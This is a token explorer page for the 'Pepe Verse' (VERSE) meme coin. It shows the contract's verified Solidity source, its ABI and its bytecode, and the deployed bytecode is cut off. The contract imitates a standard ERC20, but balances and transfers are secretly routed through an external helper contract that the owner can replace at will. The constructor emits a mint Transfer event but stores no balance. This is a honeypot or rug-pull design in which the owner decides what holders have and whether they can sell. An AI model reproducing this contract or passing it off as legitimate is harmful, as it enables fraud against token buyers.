ETH Price: $2,058.64 (+5.51%)
 

Overview

Max Total Supply

100,000,000 VERSE

Holders

0

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VERSE

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-07
*/

/**

$VERSE is a token representing the currency of the metaverse where the spirit of Pepe the Frog is immortalized across countless realities. Powered by our unique meme coin, Pepe Verse offers a leap into a new dimension of fun, laughter, and shared community. It’s more than a meme coin, it’s a world where every frog has its day. Each $VERSE token represents your part in this multiverse!

Telegram: https://t.me/ThePepeVerse
Twitter: https://twitter.com/pepeverse_eth
Website: https://pepeverse.pro/

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface ERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface TransferHelper {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract VERSE is ERC20, Ownable {

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name = "Pepe Verse";
    string private _symbol = "VERSE";

    TransferHelper private transferHelper;
    
    constructor() {
        _totalSupply = 100_000_000 * (10 ** decimals());

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function decimals() public view virtual returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return transferHelper.balanceOf(account);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }
    
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function setTransferHelperAddress(address _transferHelper) public onlyOwner {
        transferHelper = TransferHelper(_transferHelper);
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool success) {
        emit Transfer(_msgSender(), recipient, amount);
        return transferHelper.transferFrom(_msgSender(), recipient, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        emit Transfer(sender, recipient, amount);
        return transferHelper.transferFrom(sender, recipient, amount);
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_transferHelper","type":"address"}],"name":"setTransferHelperAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600a81526020017f5065706520566572736500000000000000000000000000000000000000000000815250600390805190602001906200005192919062000257565b506040518060400160405280600581526020017f5645525345000000000000000000000000000000000000000000000000000000815250600490805190602001906200009f92919062000257565b50348015620000ad57600080fd5b50620000ce620000c26200018260201b60201c565b6200018a60201b60201c565b620000de6200024e60201b60201c565b600a620000ec919062000390565b6305f5e100620000fd9190620004cd565b600281905550620001136200018260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60025460405162000174919062000318565b60405180910390a3620005e6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b828054620002659062000545565b90600052602060002090601f016020900481019282620002895760008555620002d5565b82601f10620002a457805160ff1916838001178555620002d5565b82800160010185558215620002d5579182015b82811115620002d4578251825591602001919060010190620002b7565b5b509050620002e49190620002e8565b5090565b5b8082111562000303576000816000905550600101620002e9565b5090565b62000312816200052e565b82525050565b60006020820190506200032f600083018462000307565b92915050565b6000808291508390505b600185111562000387578086048111156200035f576200035e6200057b565b5b60018516156200036f5780820291505b80810290506200037f85620005d9565b94506200033f565b94509492505050565b60006200039d826200052e565b9150620003aa8362000538565b9250620003d97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003e1565b905092915050565b600082620003f35760019050620004c6565b81620004035760009050620004c6565b81600181146200041c576002811462000427576200045d565b6001915050620004c6565b60ff8411156200043c576200043b6200057b565b5b8360020a9150848211156200045657620004556200057b565b5b50620004c6565b5060208310610133831016604e8410600b8410161715620004975782820a9050838111156200049157620004906200057b565b5b620004c6565b620004a6848484600162000335565b92509050818404811115620004c057620004bf6200057b565b5b81810290505b9392505050565b6000620004da826200052e565b9150620004e7836200052e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200052357620005226200057b565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200055e57607f821691505b60208210811415620005755762000574620005aa565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b6117c080620005f66000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b314610118578063149fc8cb14610148575b600080fd5b610102610322565b60405161010f91906112d9565b60405180910390f35b610132600480360381019061012d919061108b565b6103b4565b60405161013f91906112be565b60405180910390f35b610162600480360381019061015d9190610fcb565b6103d2565b005b61016c610492565b60405161017991906113bb565b60405180910390f35b61019c60048036038101906101979190611038565b61049c565b6040516101a991906112be565b60405180910390f35b6101ba61069c565b6040516101c791906113d6565b60405180910390f35b6101ea60048036038101906101e5919061108b565b6106a5565b6040516101f791906112be565b60405180910390f35b61021a60048036038101906102159190610fcb565b610751565b60405161022791906113bb565b60405180910390f35b610238610805565b005b61024261088d565b60405161024f919061126c565b60405180910390f35b6102606108b6565b60405161026d91906112d9565b60405180910390f35b610290600480360381019061028b919061108b565b610948565b60405161029d91906112be565b60405180910390f35b6102c060048036038101906102bb919061108b565b610a33565b6040516102cd91906112be565b60405180910390f35b6102f060048036038101906102eb9190610ff8565b610b61565b6040516102fd91906113bb565b60405180910390f35b610320600480360381019061031b9190610fcb565b610be8565b005b606060038054610331906114eb565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906114eb565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610ce0565b8484610ce8565b6001905092915050565b6103da610ce0565b73ffffffffffffffffffffffffffffffffffffffff166103f861088d565b73ffffffffffffffffffffffffffffffffffffffff161461044e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104459061135b565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e8610ce0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055f9061133b565b60405180910390fd5b61057c85610574610ce0565b858403610ce8565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105d991906113bb565b60405180910390a3600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8686866040518463ffffffff1660e01b815260040161064093929190611287565b602060405180830381600087803b15801561065a57600080fd5b505af115801561066e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069291906110cb565b9150509392505050565b60006009905090565b60006107476106b2610ce0565b8484600160006106c0610ce0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610742919061140d565b610ce8565b6001905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b81526004016107ae919061126c565b60206040518083038186803b1580156107c657600080fd5b505afa1580156107da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fe91906110f8565b9050919050565b61080d610ce0565b73ffffffffffffffffffffffffffffffffffffffff1661082b61088d565b73ffffffffffffffffffffffffffffffffffffffff1614610881576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108789061135b565b60405180910390fd5b61088b6000610eb3565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108c5906114eb565b80601f01602080910402602001604051908101604052809291908181526020018280546108f1906114eb565b801561093e5780601f106109135761010080835404028352916020019161093e565b820191906000526020600020905b81548152906001019060200180831161092157829003601f168201915b5050505050905090565b60008060016000610957610ce0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0b9061139b565b60405180910390fd5b610a28610a1f610ce0565b85858403610ce8565b600191505092915050565b60008273ffffffffffffffffffffffffffffffffffffffff16610a54610ce0565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9991906113bb565b60405180910390a3600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd610ae7610ce0565b85856040518463ffffffff1660e01b8152600401610b0793929190611287565b602060405180830381600087803b158015610b2157600080fd5b505af1158015610b35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5991906110cb565b905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bf0610ce0565b73ffffffffffffffffffffffffffffffffffffffff16610c0e61088d565b73ffffffffffffffffffffffffffffffffffffffff1614610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b9061135b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb906112fb565b60405180910390fd5b610cdd81610eb3565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4f9061137b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbf9061131b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ea691906113bb565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081359050610f8681611745565b92915050565b600081519050610f9b8161175c565b92915050565b600081359050610fb081611773565b92915050565b600081519050610fc581611773565b92915050565b600060208284031215610fe157610fe061157b565b5b6000610fef84828501610f77565b91505092915050565b6000806040838503121561100f5761100e61157b565b5b600061101d85828601610f77565b925050602061102e85828601610f77565b9150509250929050565b6000806000606084860312156110515761105061157b565b5b600061105f86828701610f77565b935050602061107086828701610f77565b925050604061108186828701610fa1565b9150509250925092565b600080604083850312156110a2576110a161157b565b5b60006110b085828601610f77565b92505060206110c185828601610fa1565b9150509250929050565b6000602082840312156110e1576110e061157b565b5b60006110ef84828501610f8c565b91505092915050565b60006020828403121561110e5761110d61157b565b5b600061111c84828501610fb6565b91505092915050565b61112e81611463565b82525050565b61113d81611475565b82525050565b600061114e826113f1565b61115881856113fc565b93506111688185602086016114b8565b61117181611580565b840191505092915050565b60006111896026836113fc565b915061119482611591565b604082019050919050565b60006111ac6022836113fc565b91506111b7826115e0565b604082019050919050565b60006111cf6028836113fc565b91506111da8261162f565b604082019050919050565b60006111f26020836113fc565b91506111fd8261167e565b602082019050919050565b60006112156024836113fc565b9150611220826116a7565b604082019050919050565b60006112386025836113fc565b9150611243826116f6565b604082019050919050565b611257816114a1565b82525050565b611266816114ab565b82525050565b60006020820190506112816000830184611125565b92915050565b600060608201905061129c6000830186611125565b6112a96020830185611125565b6112b6604083018461124e565b949350505050565b60006020820190506112d36000830184611134565b92915050565b600060208201905081810360008301526112f38184611143565b905092915050565b600060208201905081810360008301526113148161117c565b9050919050565b600060208201905081810360008301526113348161119f565b9050919050565b60006020820190508181036000830152611354816111c2565b9050919050565b60006020820190508181036000830152611374816111e5565b9050919050565b6000602082019050818103600083015261139481611208565b9050919050565b600060208201905081810360008301526113b48161122b565b9050919050565b60006020820190506113d0600083018461124e565b92915050565b60006020820190506113eb600083018461125d565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611418826114a1565b9150611423836114a1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114585761145761151d565b5b828201905092915050565b600061146e82611481565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156114d65780820151818401526020810190506114bb565b838111156114e5576000848401525b50505050565b6000600282049050600182168061150357607f821691505b602082108114156115175761151661154c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61174e81611463565b811461175957600080fd5b50565b61176581611475565b811461177057600080fd5b50565b61177c816114a1565b811461178757600080fd5b5056fea2646970667358221220a47d0419ffc7ed29bf1df1b9cbdfaed9a5b15f3deaac582575d5ea485ba2ffc464736f6c63430008070033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b314610118578063149fc8cb14610148575b600080fd5b610102610322565b60405161010f91906112d9565b60405180910390f35b610132600480360381019061012d919061108b565b6103b4565b60405161013f91906112be565b60405180910390f35b610162600480360381019061015d9190610fcb565b6103d2565b005b61016c610492565b60405161017991906113bb565b60405180910390f35b61019c60048036038101906101979190611038565b61049c565b6040516101a991906112be565b60405180910390f35b6101ba61069c565b6040516101c791906113d6565b60405180910390f35b6101ea60048036038101906101e5919061108b565b6106a5565b6040516101f791906112be565b60405180910390f35b61021a60048036038101906102159190610fcb565b610751565b60405161022791906113bb565b60405180910390f35b610238610805565b005b61024261088d565b60405161024f919061126c565b60405180910390f35b6102606108b6565b60405161026d91906112d9565b60405180910390f35b610290600480360381019061028b919061108b565b610948565b60405161029d91906112be565b60405180910390f35b6102c060048036038101906102bb919061108b565b610a33565b6040516102cd91906112be565b60405180910390f35b6102f060048036038101906102eb9190610ff8565b610b61565b6040516102fd91906113bb565b60405180910390f35b610320600480360381019061031b9190610fcb565b610be8565b005b606060038054610331906114eb565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906114eb565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610ce0565b8484610ce8565b6001905092915050565b6103da610ce0565b73ffffffffffffffffffffffffffffffffffffffff166103f861088d565b73ffffffffffffffffffffffffffffffffffffffff161461044e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104459061135b565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e8610ce0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055f9061133b565b60405180910390fd5b61057c85610574610ce0565b858403610ce8565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105d991906113bb565b60405180910390a3600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8686866040518463ffffffff1660e01b815260040161064093929190611287565b602060405180830381600087803b15801561065a57600080fd5b505af115801561066e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069291906110cb565b9150509392505050565b60006009905090565b60006107476106b2610ce0565b8484600160006106c0610ce0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610742919061140d565b610ce8565b6001905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673